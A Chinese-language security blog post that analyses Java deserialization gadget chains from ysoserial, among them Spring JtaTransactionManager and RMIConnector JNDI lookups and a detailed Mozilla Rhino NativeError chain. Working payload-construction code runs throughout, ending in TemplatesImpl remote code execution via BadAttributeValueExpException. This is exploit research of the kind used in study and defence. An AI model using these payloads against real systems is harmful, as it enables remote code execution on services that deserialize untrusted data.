前言

看文章提到 ysoserial 里面的一条反序列化链,结果一看流程相当复杂,所以研究一下。

倒是没有什么新的知识。


org.springframework.transaction.jta.JtaTransactionManager(maven)

一个 readObject 可以直接触发 JNDI lookup 的类:

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
    // Rely on default serialization; just initialize state after deserialization.
    ois.defaultReadObject();

    // Create template for client-side JNDI lookup.
    this.jndiTemplate = new JndiTemplate();

    // Perform a fresh lookup for JTA handles.
    initUserTransactionAndTransactionManager();
    initTransactionSynchronizationRegistry();
}
...
protected void initUserTransactionAndTransactionManager() throws TransactionSystemException {
    if (this.userTransaction == null) {
        // Fetch JTA UserTransaction from JNDI, if necessary.
        if (StringUtils.hasLength(this.userTransactionName)) {
            this.userTransaction = lookupUserTransaction(this.userTransactionName);
            this.userTransactionObtainedFromJndi = true;
        }
        else {
            this.userTransaction = retrieveUserTransaction();
            if (this.userTransaction == null && this.autodetectUserTransaction) {
                // Autodetect UserTransaction at its default JNDI location.
                this.userTransaction = findUserTransaction();
            }
        }
    }
    ...
}
...
protected UserTransaction lookupUserTransaction(String userTransactionName) throws TransactionSystemException {
    try {
        if (logger.isDebugEnabled()) {
            logger.debug("Retrieving JTA UserTransaction from JNDI location [" + userTransactionName + "]");
        }
        return getJndiTemplate().lookup(userTransactionName, UserTransaction.class);
    }
    catch (NamingException ex) {
        throw new TransactionSystemException(
            "JTA UserTransaction is not available at JNDI location [" + userTransactionName + "]", ex);
    }
}
...
public Object lookup(final String name) throws NamingException {
    if (logger.isDebugEnabled()) {
        logger.debug("Looking up JNDI object with name [" + name + "]");
    }
    Object result = execute(ctx -> ctx.lookup(name));
    if (result == null) {
        throw new NameNotFoundException(
            "JNDI object with [" + name + "] not found: JNDI implementation returned null");
    }
    return result;
}

所以 payload 构造也很简单:

JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
jtaTransactionManager.setUserTransactionName("rmi://127.0.0.1:1099/Exploit");
unserialize(serialize(jtaTransactionManager));

javax.management.remote.rmi.RMIConnector(JDK)

要配合能无参或以 Map/null 为参数调用任意方法的反序列化链使用,connect 方法可以触发 lookup:

public synchronized void connect(Map<String,?> environment) throws IOException {
    ...
    RMIServer stub = (rmiServer!=null)?rmiServer:
    findRMIServer(jmxServiceURL, usemap);
    ...
}
...
private RMIServer findRMIServer(JMXServiceURL directoryURL, Map<String, Object> environment) throws NamingException, IOException {
    ...   
    if (path.startsWith("/jndi/"))
        return findRMIServerJNDI(path.substring(6,end), environment, isIiop);
    ...
}
...
private RMIServer findRMIServerJNDI(String jndiURL, Map<String, ?> env, boolean isIiop) throws NamingException {
    ...
    InitialContext ctx = new InitialContext(EnvHelp.mapToHashtable(env));

    Object objref = ctx.lookup(jndiURL);
    ...
}

payload 构造也很简单,理一下流程调试一下就好了:

JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
setFieldValue(jmxServiceURL, "urlPath", "/jndi/rmi://127.0.0.1:1099/Exploit"); // 反射赋值
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);
rmiConnector.connect();

org.hibernate.jmx.StatisticsService(maven)

要配合能以 String 为参数调用任意方法的反序列化链使用,setSessionFactoryJNDIName 方法会 lookup:

public void setSessionFactoryJNDIName(String sfJNDIName) {
    this.sfJNDIName = sfJNDIName;
    try {
        final SessionFactory sessionFactory;
        final Object jndiValue = new InitialContext().lookup( sfJNDIName );
        ...
    }
    ...
}

实在太简单就不构造了。

com.sun.rowset.JdbcRowSetImpl(JDK)

要配合能无参调用任意方法的反序列化链使用,execute 会 lookup:

public void execute() throws SQLException {
    this.prepare();
    ...
}
...
protected PreparedStatement prepare() throws SQLException {
    this.conn = this.connect();
    ...
}
...
private Connection connect() throws SQLException {
    if (this.conn != null) {
        return this.conn;
    } else if (this.getDataSourceName() != null) {
        try {
            InitialContext var1 = new InitialContext();
            DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
            ...
        }
        ...
    }
    ...
}

也很简单,不构建了。


org.mozilla.javascript.NativeError(maven)

一条相当复杂的反序列化链,可以利用包内类的 invoke 进行任意无参方法调用,有参方法调用可能也可以,但是要经过 Context 的 jsToJava 方法,更加麻烦,一般来说调用无参方法已经够了,可以利用 TemplatesImpl 类实现 RCE。

众所周知,JDK 里面有一个类 BadAttributeValueExpException,可以调用任意类的 toString 方法,而 NativeError 的 toString 方法正好有特殊的操作:

// NativeError.java
public String toString()
{
    return js_toString(this);
}
...
private static String js_toString(Scriptable thisObj)
{
    return getString(thisObj, "name")+": "+getString(thisObj, "message");
}
...
private static String getString(Scriptable obj, String id)
{
    Object value = ScriptableObject.getProperty(obj, id);
    ...
}
...
// ScriptableObject.java
public static Object getProperty(Scriptable obj, String name)
{
    Scriptable start = obj;
    Object result;
    do {
        result = obj.get(name, start);
        if (result != Scriptable.NOT_FOUND)
            break;
        obj = obj.getPrototype();
    } while (obj != null);
    return result;
}
...
// IdScriptableObject.java
public Object get(String name, Scriptable start)
{
    ...
    return super.get(name, start);
}
...
// ScriptableObject.java
public Object get(String name, Scriptable start)
{
    return getImpl(name, 0, start);
}
...
private Object getImpl(String name, int index, Scriptable start)
{
    Slot slot = getSlot(name, index, SLOT_QUERY);
    if (slot == null) {
        return Scriptable.NOT_FOUND;
    }
    if (!(slot instanceof GetterSlot)) {
        return slot.value;
    }
    Object getterObj = ((GetterSlot)slot).getter;
    if (getterObj != null) {
        if (getterObj instanceof MemberBox) {
            MemberBox nativeGetter = (MemberBox)getterObj;
            Object getterThis;
            Object[] args;
            if (nativeGetter.delegateTo == null) {
                getterThis = start;
                args = ScriptRuntime.emptyArgs;
            } else {
                getterThis = nativeGetter.delegateTo;
                args = new Object[] { start };
            }
            return nativeGetter.invoke(getterThis, args);
        } else {
            Function f = (Function)getterObj;
            Context cx = Context.getContext();
            return f.call(cx, f.getParentScope(), start,
                          ScriptRuntime.emptyArgs);
        }
    }
    ...
}

可以看到,getImpl 方法里面有危险的操作,而 getterObj 是 Object 类型,来自 name 相对应的 slot 的 getter,是可控参数。所以 invoke 和 call 方法都有可能导致任意方法执行。我们先来看一下 invoke,执行的方法的参数是我们无法控制的,而且目标对象要继承 MemberBox,所以这里不是很好利用,最简单的利用方式是用来调用一个无参静态方法,因为反射调用静态方法是会忽略目标对象的。

然后再看看 call,能调用一个继承了 Function 接口的类的 call 方法,而 NativeJavaMethod 类正好用得上:

public Object call(Context cx, Scriptable scope, Scriptable thisObj, Object[] args) {
    // Find a method that matches the types given.
    ...

    int index = findFunction(cx, methods, args);
    ...

    MemberBox meth = methods[index];
    Class<?>[] argTypes = meth.argTypes;

    if (meth.vararg) {
    ...
    } else {  
    // First, we marshall the args.
        Object[] origArgs = args;
        for (int i = 0; i < args.length; i++) {
            Object arg = args[i];
            Object coerced = Context.jsToJava(arg, argTypes[i]);
            if (coerced != arg) {
                if (origArgs == args) {
                    args = args.clone();
                }
                args[i] = coerced;
            }
        }
    }
    Object javaObject;
    if (meth.isStatic()) {
        javaObject = null;  // don't need an object
    } else {
        Scriptable o = thisObj;
        Class<?> c = meth.getDeclaringClass();
        for (;;) {
            if (o == null) {
                throw Context.reportRuntimeError3(
                "msg.nonjava.method", getFunctionName(),
                ScriptRuntime.toString(thisObj), c.getName());
            }
            if (o instanceof Wrapper) {
                javaObject = ((Wrapper)o).unwrap();
                if (c.isInstance(javaObject)) {
                    break;
                }
            }
            o = o.getPrototype();
        }
    }
    ...

    Object retval = meth.invoke(javaObject, args);
}

meth 来自 methods,findFunction 会返回 0,可控;args 是空,代表调用无参方法;javaObject 来自继承了 Wrapper 接口的对象的 unwrap 方法,而该对象又来自 thisObj,即 NativeError 的 getPrototype 方法:

public Scriptable getPrototype()
{
    return prototypeObject;
}

要求继承了 Scriptable 接口,而且 unwrap 方法的返回可控,NativeJavaObject 类符合这个要求:

public Object unwrap() {
    return javaObject;
}

至此,我们可以通过 call 调用任意类的无参函数,可以利用 TemplatesImpl RCE 了。但是构造的 payload 在反序列化时会发现一个问题,发生在 NativeJavaObject 的 initMembers 方法中:

// NativeJavaObject
protected void initMembers() {
    ...
    members = JavaMembers.lookupClass(parent, dynamicType, staticType, isAdapter);
    ...
}
// JavaMembers
static JavaMembers lookupClass(Scriptable scope, Class<?> dynamicType, Class<?> staticType, boolean includeProtected)
{
    ...
    scope = ScriptableObject.getTopLevelScope(scope);
    ClassCache cache = ClassCache.get(scope);
    ...
}
// ClassCache
public static ClassCache get(Scriptable scope)
{
    ClassCache cache = (ClassCache)ScriptableObject.getTopScopeValue(scope, AKEY);
    ...
}
// ScriptableObject
public static Object getTopScopeValue(Scriptable scope, Object key)
{
    scope = ScriptableObject.getTopLevelScope(scope);
    for (;;) {
        if (scope instanceof ScriptableObject) {
            ScriptableObject so = (ScriptableObject)scope;
            Object value = so.getAssociatedValue(key);
            if (value != null) {
                return value;
            }
        }
        scope = scope.getPrototype();
        if (scope == null) {
            return null;
        }
    }
}

简单来说,就是 NativeJavaObject 对象的 parent 成员的 associatedValues 这个 Map 中缺少键为 ClassCache 的值,需要修改 NativeJavaObject 的生成方式:

ScriptableObject nativeObject = (ScriptableObject)NativeErrorConstructor.newInstance();
(new ClassCache()).associate(nativeObject);
NativeJavaObject nativeJavaObject = new NativeJavaObject(nativeObject, getTemplatesImpl(), TemplatesImpl.class);

然后又会发现另一个问题:

Exception in thread "main" java.lang.RuntimeException: No Context associated with current Thread

追踪一下会发现问题出在这里:

// getImpl
Context cx = Context.getContext();
// getContext
Context cx = getCurrentContext();
// getCurrentContext
Object helper = VMBridge.instance.getThreadContextHelper();
return VMBridge.instance.getContext(helper);

简单来说,就是这个时候获取不到 JavaScript 上下文环境,所以要在调用 call 之前先 setContext。而 js_toString 正好有两个 getString,说明我们可以执行两次方法。我们先观察一下要怎么 setContext,可以发现 Context 的静态无参方法 enter 最后会有一个 setContext 的操作,所以我们只需要用 name 调用 enter,再用 message 调用 TemplatesImpl 即可。因为 prototypeObject 只能有一个,所以 enter 我们可以通过 getImpl 里面 MemberBox 的 invoke 方法来调用,最后的 payload:

// 构造 NativeError 来连接 toString
Constructor NativeErrorConstructor = Class.forName("org.mozilla.javascript.NativeError").getDeclaredConstructor();
NativeErrorConstructor.setAccessible(true);
ScriptableObject scriptableObject = (ScriptableObject)NativeErrorConstructor.newInstance();
// 通过 NativeJavaMethod 的 call 方法反射调用 newTransformer
Method newTransformerMethod = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl").getDeclaredMethod("newTransformer");
NativeJavaMethod newTransformer = new NativeJavaMethod(newTransformerMethod, "message");
scriptableObject.setGetterOrSetter("message", 0, newTransformer, false);
// 先给 name 塞一个 getter,因为 setGetterOrSetter 设置的 getter 要继承 callable,后面再反射改掉
Method enterMethod = Context.class.getDeclaredMethod("enter");
NativeJavaMethod enter = new NativeJavaMethod(enterMethod, "name");
scriptableObject.setGetterOrSetter("name", 0, enter, false);
// 通过 MemberBox 的 invoke 调用 Context 的 enter,因为是静态方法所以反射调用的时候可以无视目标类
Class memberboxClass = Class.forName("org.mozilla.javascript.MemberBox");
Constructor memberboxClassConstructor = memberboxClass.getDeclaredConstructor(Method.class);
memberboxClassConstructor.setAccessible(true);
Object memberboxes = memberboxClassConstructor.newInstance(enterMethod);
// 反射获取 name 的 slot,再反射设置为 MemberBox
Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", String.class, int.class, int.class);
getSlot.setAccessible(true);
Object slot = getSlot.invoke(scriptableObject, "name", 0, 1);
setFieldValue(slot, "getter", memberboxClass);
// 利用 NativeJavaObject 的 unwrap 返回一个 TemplatesImpl 对象
ScriptableObject nativeObject = (ScriptableObject)NativeErrorConstructor.newInstance();
(new ClassCache()).associate(nativeObject);
NativeJavaObject nativeJavaObject = new NativeJavaObject(nativeObject, getTemplatesImpl(), TemplatesImpl.class);
// 设置 Prototype 为 NativeJavaObject
scriptableObject.setPrototype(nativeJavaObject);
// 连接 readObject 和 toString
BadAttributeValueExpException obj = new BadAttributeValueExpException(null);
setFieldValue(obj, "val", scriptableObject);

ysoserial 里面还有一个 MozillaRhino2 的payload,里面有详细的利用链,流程也不复杂,通过第一次反序列化调用的 readAdapterObject 里面的 in.readObject 反序列化第二个 NativeJavaObject,实现两次反射调用。暂时不研究了,留个坑。


参考文章:

https://www.anquanke.com/post/id/194384

https://codewhitesec.blogspot.com/2016/05/return-of-rhino-old-gadget-revisited.html


Web Java 反序列化 JNDI

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

unserialize时PHP干了什么
Java反序列化中的RMI、JRMP、JNDI、LDAP